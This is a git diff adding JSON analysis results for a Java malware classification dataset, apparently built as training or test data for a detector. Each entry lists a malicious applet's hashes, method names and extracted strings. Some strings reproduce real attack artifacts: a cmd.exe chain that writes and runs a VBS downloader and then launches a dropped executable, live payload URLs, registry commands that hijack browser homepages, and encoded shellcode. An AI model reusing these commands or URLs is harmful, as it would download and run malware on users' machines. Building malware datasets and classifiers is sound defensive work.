CsCriptGet.Open()>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.Write(cmd.responseBody)>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c echo CsCriptGet.SaveToFile FileName,^2>>\"%temp%\\\\\\\\nLtMyTy4.vbs\"&&cmd.exe /c cscript \"%temp%\\\\\\\\nLtMyTy4.vbs\" ", " \"%temp%\\\\\\\\Gondad.exe\"&& \"%temp%\\\\\\\\Gondad.exe\"\\');", "error"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7d0141fc90447a1b05d626bc2d5b30c8461acb76", "file_name": "java_malicious/35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2", "_id": "f171f14b-59b1-4d00-bc08-0f924ce850fa", "score": 0, "entropy": 5.877260917120196, "libmagic": "compiled Java class data, version 45.3", "file_size": 3274, "ssdeep": "96:CzGlpoXB3pDv1Ws/o1Pup306dBnM89bUI:zlGBZDv1Zohud0KBM2", "sha256": "35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2", "md5": "006354757249246b0720b33961be5a47", "parent_sha256": "35a6f5043db05e964837f44c0337472b2b0c43a93d4ed2dae65a4571949413c2"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9.results b/java_classification/data/malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9.results
new file mode 100755
index 0000000..7be811e
--- /dev/null
+++ b/java_classification/data/malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Class1.java", "class_name": "Class1", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["decode_str", "<init>", "disableSecurity", "get_cl", "set_f", "class$"], "minor_version": 0, "const_pool_count": 239}}, "_id": "3688f0d5-e734-4635-a99e-9a2699289172", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.7090285395557525, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "807E8D5F827E857D"}, "substring_heuristics": {}}}, "constant strings": ["java.lang.System", "8C7E8D6C7E7C8E8B828D92667A877A807E8B", "7F82857E53484848", "java.beans.Statement", "7A7C7C", "818D8D8947847E7E897A85828F7E", "7F7A858C7E", "818D8D89", "                                                                                                                                                                                                                    ://feed.stringsort.com/f81Jba/dhuKOZtD6iPAFe", "6D5E6669", "4886888B477E917E", "00116", "00047", "00075", "00100", "java.lang.Class", "7F888B677A867E", "8C8E87477A908D476C8E876D88888584828D", "807E8D5F827E857D"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b8f47c969e7736a1efe06dd4bd27415b4d5d1428", "file_name": "java_malicious/35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9", "_id": "3688f0d5-e734-4635-a99e-9a2699289172", "score": 0, "entropy": 5.951001369172213, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4386, "ssdeep": "96:WdH0ElRSsxqO3ben/l94CiCPlrgwxnEEq:WdHpl4sxPK9+lCPlrhDq", "sha256": "35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9", "md5": "f6af1892871512bccdd5201dc8cc566a", "parent_sha256": "35c312ce3746cdf462643283b7ee89adf499efa0ec9a6d7557d3431e62a217a9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48.results b/java_classification/data/malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48.results
new file mode 100755
index 0000000..a899c86
--- /dev/null
+++ b/java_classification/data/malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "a811c542-6be6-400e-8ea8-388e17cd4b87", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Iz,0L,PZ,0n,pZ,0L,Pz,0n,pl,PL,PZ,H7,p7,pS,05,PH,k3,0K,Y9,lU,PW,pW,pQ,OE,4M,q6,P7,pU,PE,PQ,hT,LN,k1,Pv,lL,Kb,P5,Ln,ML,KP,h3,8j,Kc,9L,Ks,pv,TL,Mc,pS,LN,ks,Xu,ln,kL,7s,Zd,DS,ik,XL,Og,pU,PE,PK,RH,yC,X2,O0,nW,pw,pC,Xb,UP,rB,L2,Mp,TY,ov,vN,kY,xk,Xq,iU,P7,pG,pN,kH,WB,gm,PW,Ou,P4,5K,Js,wv,7a,WM,Pg,Ou,P1,ek,Jl,Kh,o3,op,3X,IM,QZ,LD,DU,Qs,0G,pN,ky,Lb,qr,rr,sR,Hu,TU,Qg,p3,0K,O3,fv,lQ,JC,iB,qf,2L,Ks,22,s2,cM,Pu,kE,PR,UK,Jn,a3,Ki,lV,N1,ur,XP,ea,eT,Cm,Sz,Kv,hM,Y4,CX,Gp,Cc,4t,n2,E4,8U,5k,vS,ss,8W,p3,kL,JK,qs,4T,pL,HS,ug,pp,3K,pb,pP,PF,32,wp,Pi,op,V6,pn,cL,8S,0s,Ef,fc,Z5,Q3,cy,op,V3,4P,Z0,YO,sk,rS,4Q,QO,pv,Zs,0R,Un,T9,o2,vw,x0,Qv,6l,Kp,uW,LL,KP,tV,Nr,Xd,Ci,e6,6N,k4,6w,Pc,3L,56,SI,Ys,yC,qn,MV,cK,uw,Ck,kf,om,nr,0T,zz,vp,tW,xK,qj,kD,MW,sX,ZS,px,kJ,Qe,kW,or,UM,7q,Nl,K3,nQ,4e,SY,Mp,fN,kT,Lb,kn,k3,nU,Le,Si,ML,Ku,TN,kw,sO,5N,K1,N3,ih,Ck,XK,OK,Nk,Ok,OL,N0,NT,Nx,lm,HY,nM,Zd,N1,nK,h8,bp,s0,3y,Zm,Za,KD,vt,Z4,op,pP,oq,QV,3p,V5,Pq,xS,DQ,dB,Pt,z4,of,Or,Mr,O0,tP,oe,9B,Nd,4Q,up,r2,Nu,5T,41,sc,Qq,v5,5T,nQ,sP,op,m4,oq,sp,oR,NS,DR,ER,N0,t6,OP,aa,jC,Qv,NP,hT,4r,Mb,Lt,ob,NV,PT,pu,hT,qt,pF,V4,rt,pf,Qt,sp,1w,Ha,b4,pv,TT,pp,9s,zf,Q6,PV,P6,Pt,pt,vv,PU,as,gF,Sw,EV,Qu,dp,6v,Rc,Uf,Wc,hu,3d,pe,i3,S3,Ss,Qe,hp,3P,Yw,HR,BU,cv,PP,7s,SU,2v,TQ,JV,Pp,1V,Pt,pU,6T,pt,wv,Pu,PE,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7a03739a63e973cc5eed66a368a6b666e273ce96", "file_name": "java_malicious/375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48", "_id": "a811c542-6be6-400e-8ea8-388e17cd4b87", "score": 0, "entropy": 5.984950646073437, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3120, "ssdeep": "48:4vVk0yFlkYzWIvAxdfKfxkJ+Alafi5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFlnPvqCfxknlOORxC92XQjt9bKsCn", "sha256": "375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48", "md5": "ffb4fd12c453e6303af0b25ab5390c51", "parent_sha256": "375ccb1b408e61564e57972a54e75d2815e63accdc482fd52143a09b0b216c48"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284.results b/java_classification/data/malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284.results
new file mode 100755
index 0000000..ec8d950
--- /dev/null
+++ b/java_classification/data/malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/rrgtykqgimbujpx", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "sectoff", "gclass", "sfld", "batois_rmethod", "spl", "getos_rmethod", "gobj", "xdel", "xxx", "invtwo_rmethod", "invone_rmethod", "invgotwo_rmethod", "geturl_rmethod", "addperm_rmethod", "getperminst_rmethod", "newperm_rmethod", "gcl_rmethod", "xvel", "lr_rmethod", "findmethod_rmethod", "getperm_rmethod", "getcert_rmethod", "pdom_rmethod", "invgo_rmethod", "invbytestring_rmethod", "getsrc_rmethod"], "minor_version": 0, "const_pool_count": 317}}, "_id": "755a4a23-2808-4b69-82a1-634e5b61e77a", "verbose": {"java": {"constant strings": ["\\\\", ";"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b68f46048abfba65e4540c97a309f9e002957d61", "file_name": "java_malicious/37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284", "_id": "755a4a23-2808-4b69-82a1-634e5b61e77a", "score": 0, "entropy": 5.6581749105501835, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5779, "ssdeep": "96:YBRBNfsaQ6EDZyc2sjgW/AQsm0wY5A/bz5TGA2HNVU18uq6H41v:YBRnUaY4c2s0WoQb0EQ6Yv", "sha256": "37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284", "md5": "64df90e3e124e586fd83c0b1dfaeaa1a", "parent_sha256": "37867dfca748b44a100c6339d092f0352bf6a413607f824b44c9064e6dc62284"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553.results b/java_classification/data/malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553.results
new file mode 100755
index 0000000..03e4783
--- /dev/null
+++ b/java_classification/data/malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "JULCdqgO.java", "class_name": "JULCdqgO", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "f56e3eed-f1b9-4243-a95a-0db5567003fe", "verbose": {"java": {"constant strings": ["dHtgWPa", "#m841"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "698c415133b70dcc7e9f50053a175ef8567fa931", "file_name": "java_malicious/3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553", "_id": "f56e3eed-f1b9-4243-a95a-0db5567003fe", "score": 0, "entropy": 5.545582799121123, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 837, "ssdeep": "12:PEbi3SDQul2CsbWMLIdOLnlkWnQ8PGMZMBMOZWMBMNIMOBXMse/2o4L1NSBR6lA2:P3yQul2xjRlPnhPG7pAp4L1j6Hmlsqx", "sha256": "3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553", "md5": "cc03e38c49637da7a6f3576c4ecd4a3e", "parent_sha256": "3793e680e3c2e84f2c763a3d048c636bf010c652ab73d013dccabc34b9741553"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5.results b/java_classification/data/malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5.results
new file mode 100755
index 0000000..25a01fd
--- /dev/null
+++ b/java_classification/data/malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "756471f6-be48-4d81-a73e-9c525150aec5", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.614385283910666}, "constant strings": ["no error", "os.name", "http://toolbarbucks.biz/dl/loaderadv493.exe", "\\\\loadnew.exe", "http://toolbarbucks.biz/dl/cheat.php?adv=adv493"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "777dc5369f2e3ce399fd6eb3e7439b2f58bc37c1", "file_name": "java_malicious/3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5", "_id": "756471f6-be48-4d81-a73e-9c525150aec5", "score": 0, "entropy": 5.885724454211342, "libmagic": "compiled Java class data, version 45.3", "file_size": 2955, "ssdeep": "48:9JrYyss0yFlS/vJ4R5KTwe5tj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1JeUX2u:LFlOhwKTITtcSkjfcGcEk51rX2oh", "sha256": "3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5", "md5": "a1ff22d87a6633c862e13302a60f0c1d", "parent_sha256": "3796d81776291196c786de2e84b36118dd5b17721f5c6105e640fc31781304a5"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b.results b/java_classification/data/malicious/3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b.results
new file mode 100755
index 0000000..024d016
--- /dev/null
+++ b/java_classification/data/malicious/3895b5f9d2aaef03b91b1247cc4d4665b53ebb4c4aa4ad9f24006eaa8379764b.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20.results b/java_classification/data/malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20.results
new file mode 100755
index 0000000..d30a2e8
--- /dev/null
+++ b/java_classification/data/malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "x/h", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "a", "a", "b", "c"], "minor_version": 0, "const_pool_count": 329}}, "_id": "154ce12c-29e4-4edb-8713-cec049873fcc", "verbose": {"java": {"constant strings": ["\\r\\n", " ", " Pre", " add \"hkc", "\"", "\");", "1NGe2DDGXtDAx", "1rwE2aruQVm5vaGeymV", "1vYKLAnrGuXZIkDoa8j", "32\\\\", "3ppcNb", "3qD2hgCLQMsdl", "5axYQa5kfKl", "913xp", ":\\\\", "APP", "APPD", "ATA", "C", "DATA", "E3whL2hlKIf", "E56znqo1yf7ZLN9bWIl", "FawAvoN", "GlXceFIo5Vnv", "Hom", "L=", "Lj3x6s1ednih2UKLhwe", "MjuHuA5eWhNwKE6G", "O7eqNB", "OPBQGAsbytBeX3Pz", "OvgWCRSsXTU", "Q0qxVaMBK4", "RLNk48KtqhLm", "Star", "Sy", "UzsPFRsUIAm", "Windows\\\\", "WxosA", "ZEmMvU0rfZMfSP", "ZYaK4", "[User", "\\\\M", "\\\\Mo", "\\\\Op", "\\\\prefs.j", "_SZ /f /d \"", "_pre", "age", "age_over", "artup.p", "bBmlxGG", "bSkh7I89Qo3L797gg", "br", "bro", "cfkuesytiACST", "clFEomfGl8MLRs", "dc1GsZiMNqSSiGyU8", "dri", "e UR", "e_over", "eabeUY", "epage\", \"", "era\\\\O", "etc\\\\", "f(\"bro", "f(\"star", "files", "files\\\\", "fox\\\\Pro", "fs]", "ge\", 1);", "hos", "hrOXzQjBao3OG", "icT9IsiZHYuc", "ipNktQYrlZbZGKVB", "irefo", "jywedFSVf4feQjIcP9a", "lla\\\\F", "lla\\\\Fire", "mepag", "nA55mR1bWryvOXWBSt", "ni", "omep", "owser.st", "ozi", "pPj6H6f7h22ri", "pSZGaLSb4l8BOp2hRma", "page", "pera\\\\o", "peraprefs.i", "qb82nQcxrZ", "reg", "ride_u", "ride_url\", \"", "rl", "rosoft\\\\In", "rw", "s", "star", "stem", "t Page\" /t REG", "tartup.hom", "tartup.home", "tartup.pa", "ternet E", "ts", "tup Type=", "tup Type=2", "tup.h", "tup.ho", "tware\\\\Mic", "u\\\\Sof", "user", "vers\\\\", "wser.s", "x\\\\Pro", "xaqOGohVLOXEM0p", "xdhrm", "xplorer\\\\Main\" /v \"Star", "zi"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "143c1c2c1651d149c752d9be7d9d7394e9adbca5", "file_name": "java_malicious/39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20", "_id": "154ce12c-29e4-4edb-8713-cec049873fcc", "score": 0, "entropy": 5.876447668675662, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5194, "ssdeep": "96:myW56uPN9+jVlAOuvj06FTSAu71JHxEVYJo3YMNDWlxu:E5llaGr06LC1JHMYNpW", "sha256": "39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20", "md5": "2e13319a2f3c44f09ad8a10fa34622ca", "parent_sha256": "39343db1c08bc53905bf46a3069ac3eb110552db55ea81aafa50cc576ba99f20"}}
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diff --git a/java_classification/data/malicious/396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1.results b/java_classification/data/malicious/396dded30ad2c3cbede52a7e2f29fc7fd58f171b8d0ef3f5293e7081b36dffc1.results
new file mode 100755
index 0000000..9e01cc6
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diff --git a/java_classification/data/malicious/39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e.results b/java_classification/data/malicious/39bbeba0f3232d097a1ebd28a078793c6d60d3fff6a357d57db68ebf6fa61e2e.results
new file mode 100755
index 0000000..9dd64a3
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diff --git a/java_classification/data/malicious/3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4.results b/java_classification/data/malicious/3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4.results
new file mode 100755
index 0000000..566a267
--- /dev/null
+++ b/java_classification/data/malicious/3a648916b154622919e42c2c8c51fc3e76dbffab7cb81838ea974708282d03e4.results
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diff --git a/java_classification/data/malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147.results b/java_classification/data/malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147.results
new file mode 100755
index 0000000..5a93cfb
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+++ b/java_classification/data/malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "hGGyOuuPT.java", "class_name": "hGGyOuuPT", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "zTSwYXJZ", "Imrwzw", "ExRQKH", "MaHhAQu", "thrdc", "fPBpLVewN", "rTjLR"], "minor_version": 0, "const_pool_count": 143}}, "_id": "76ba078b-bfe5-4f61-beca-faeb519ecf90", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "qwqw"}}}, "constant strings": ["mrr`q|mrbmw`dv", "moo", "acvd", "qwqw", "sbqpavd", "wqrr|`", "sbtavd", "", "wq|`", "sbavd", "avc", "`wbagmon`whvc%nkch"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cf932eef364884e594c931b55b0fffaae9249cb9", "file_name": "java_malicious/3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147", "_id": "76ba078b-bfe5-4f61-beca-faeb519ecf90", "score": 0, "entropy": 5.841436392167783, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4079, "ssdeep": "96:u2OFlgjpZNTGr5hIkviMmD+W1T9iL9tQ6jQSScyLp:uXlSvGlhIkvi22T6Y6sSE", "sha256": "3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147", "md5": "372a94e4d1f0d58b66b5257b4cb99815", "parent_sha256": "3a87d33d1beb727e7f7c69199e945f690e93290572eaa2d0210a2b874f488147"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf.results b/java_classification/data/malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf.results
new file mode 100755
index 0000000..0e23090
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+++ b/java_classification/data/malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "cYkDDAkC.java", "class_name": "cYkDDAkC", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "<clinit>", "ctQYO"], "minor_version": 0, "const_pool_count": 159}}, "_id": "6f8c3b93-e050-4d7d-a1ac-2a4869f4f0ba", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.541129389173635}, "constant strings": [":,=\\x1a,*<; =0\\x04(\\'(.,;", "#(?(g(>=g $(.,g\\r(=(\\x0b<//,;\\x0b0=,", ":,=\\x0c%,$", " \\'= \\'=", "#(?(g(>=g $(.,g\\r(=(\\x0b<//,;", "\\x1d\\x10\\x19\\x0c\\x16\\x0b\\x10\\x1d\\x0c", "#(?(g(>=g $(.,g\\x04<%= \\x19 1,%\\x19(*\",-\\x1a($9%,\\x04&-,%", "#(?(g(>=g $(.,g\\x1b(:=,;", "*;,(=,\\x1e; =(+%,\\x1b(:=,;", "#(?(g(>=g $(.,g\\x1a($9%,\\x04&-,%#(?(g(>=g $(.,g\\r(=(\\x0b<//,;#(?(g(>=g\\x19& \\'=", "#(?(g(>=g $(.,g\\xc0\\x80\\'-,1\\n&%&;\\x04&-,%", "#(?(g(>=g\\x08%9!(\\n&$9&: =,", "\\x1a;*", "*;,(=,\\n&\\'=,1=", "#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g\\x1b,\\'-,; \\'.\\x01 \\'=:", "&:g\\'($,", "", "\\x04(*", "&:g(;*!", "\\x7f}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "699ca499080e555289044e75bd72a39e261e9ebf", "file_name": "java_malicious/3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf", "_id": "6f8c3b93-e050-4d7d-a1ac-2a4869f4f0ba", "score": 0, "entropy": 6.053646202218725, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4046, "ssdeep": "96:T/csFlGvRLfAldbNksDCZ+PxY8ZZhWAXQIJM+9pa5rlD:T/flGJLfAldxnxYU7WuQIJM+XaJl", "sha256": "3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf", "md5": "435093fafb9a097ce8fba7279c70952c", "parent_sha256": "3b64d0cc1c2310d9ae37628edb2cf75fc6130d50d34083bcc699fa2ff24523cf"}}
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diff --git a/java_classification/data/malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c.results b/java_classification/data/malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c.results
new file mode 100755
index 0000000..9587703
--- /dev/null
+++ b/java_classification/data/malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Dummy.java", "class_name": "Dummy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>"], "minor_version": 3, "const_pool_count": 15}}, "_id": "39f7ab51-efb8-4ab1-8e1c-f702ee2a9326", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dfc7e61a5a7f9cb8b8d4a8bbad4d6fa9dfc799d7", "file_name": "java_malicious/3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c", "_id": "39f7ab51-efb8-4ab1-8e1c-f702ee2a9326", "score": 0, "entropy": 4.796985441459158, "libmagic": "compiled Java class data, version 45.3", "file_size": 236, "ssdeep": "6:cSpVK7+k7XszswQpAEgwG5gRP9jlo78FaH:caVRgXSDQulwHRxlob", "sha256": "3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c", "md5": "5ee8345a632a6d87b53ae7f6dbb0164e", "parent_sha256": "3c8feec43ae845281559c1c1c2d79f7fd0fd20a890b8cb2837058ab37d72ce7c"}}
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diff --git a/java_classification/data/malicious/3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980.results b/java_classification/data/malicious/3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980.results
new file mode 100755
index 0000000..39b9033
--- /dev/null
+++ b/java_classification/data/malicious/3d8f9abc2aa9a3ee73c393f5abfc877d59cc2c116baf61184bcd8f4fade6a980.results
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\ No newline at end of file
diff --git a/java_classification/data/malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c.results b/java_classification/data/malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c.results
new file mode 100755
index 0000000..9b3b682
--- /dev/null
+++ b/java_classification/data/malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "eagkscafbbtbetw/httemwgfckrbweq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "dnapmdlqlcsjvglntr", "kefhyfc", "eshyamwyjkhjkms", "uprdpsjjw", "uprdpsjjw", "aplejdjewlnmhucd", "dengndqufl"], "minor_version": 0, "const_pool_count": 80}}, "_id": "742ea73a-b292-4e0c-b655-d777f5fcedf1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f1031a5d1456c2112df153cbc9c5ac7f12d5d5bc", "file_name": "java_malicious/3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c", "_id": "742ea73a-b292-4e0c-b655-d777f5fcedf1", "score": 0, "entropy": 5.46568643591868, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1538, "ssdeep": "24:NDWyQZrDDbu2Ifm1DO3X0Vldflz8GONcIveDA4ZmzG:NCyCDHuzm1DOn0FflzlI8A4ZOG", "sha256": "3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c", "md5": "830af1e7ce0b4a235eb3d5dbdbb68da2", "parent_sha256": "3e195dca1b7ee68b91501d4d528da13de24b3f5955bd259220df19eff142df5c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b.results b/java_classification/data/malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b.results
new file mode 100755
index 0000000..5097d54
--- /dev/null
+++ b/java_classification/data/malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "pom", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "hag", "fub", "ohs", "rec"], "minor_version": 0, "const_pool_count": 178}}, "_id": "d59622e2-135e-4991-a037-e5f04c3817b2", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.348525636858807, "obfuscated_data": {"signatures": {"java": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "jty34rdxjty34rdc"}}}, "constant strings": ["", ".ejty34rdxjty34rde", "jty34rd", "java.jty34rdo.Fjty34rdleOutputStream", "i", "jty34rdxjty34rdc", "e", "jty34rdmd.exe /jty34rd start ", "c", "flush", "close", ";1", "java.io.tmpdir", "wrjty34rdte"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e11a9d3aa0ddada66c6909a9bc425dbb7abe51e4", "file_name": "java_malicious/3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b", "_id": "d59622e2-135e-4991-a037-e5f04c3817b2", "score": 0, "entropy": 5.797778489781154, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3203, "ssdeep": "48:cXND3dqQ10O6y7IgYegk3H2v/3861nLSs/exG9+YhhhhhkhhhhhEGhhhhhEVhhhW:2oS7PIFehaM0X/7wrgC", "sha256": "3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b", "md5": "942b3098c42215ac27109e1a61579d99", "parent_sha256": "3e379ce4cbd049704e2a28c0a44ec867cf8c4806f706b4a72606c5dbf8f4e24b"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416.results b/java_classification/data/malicious/3ec8e1bbfdb1f84d14a965a79c23d536c11b574f31fc4b2cd6fd3d34f5c3e416.results
new file mode 100755
index 0000000..316bd9c
--- /dev/null
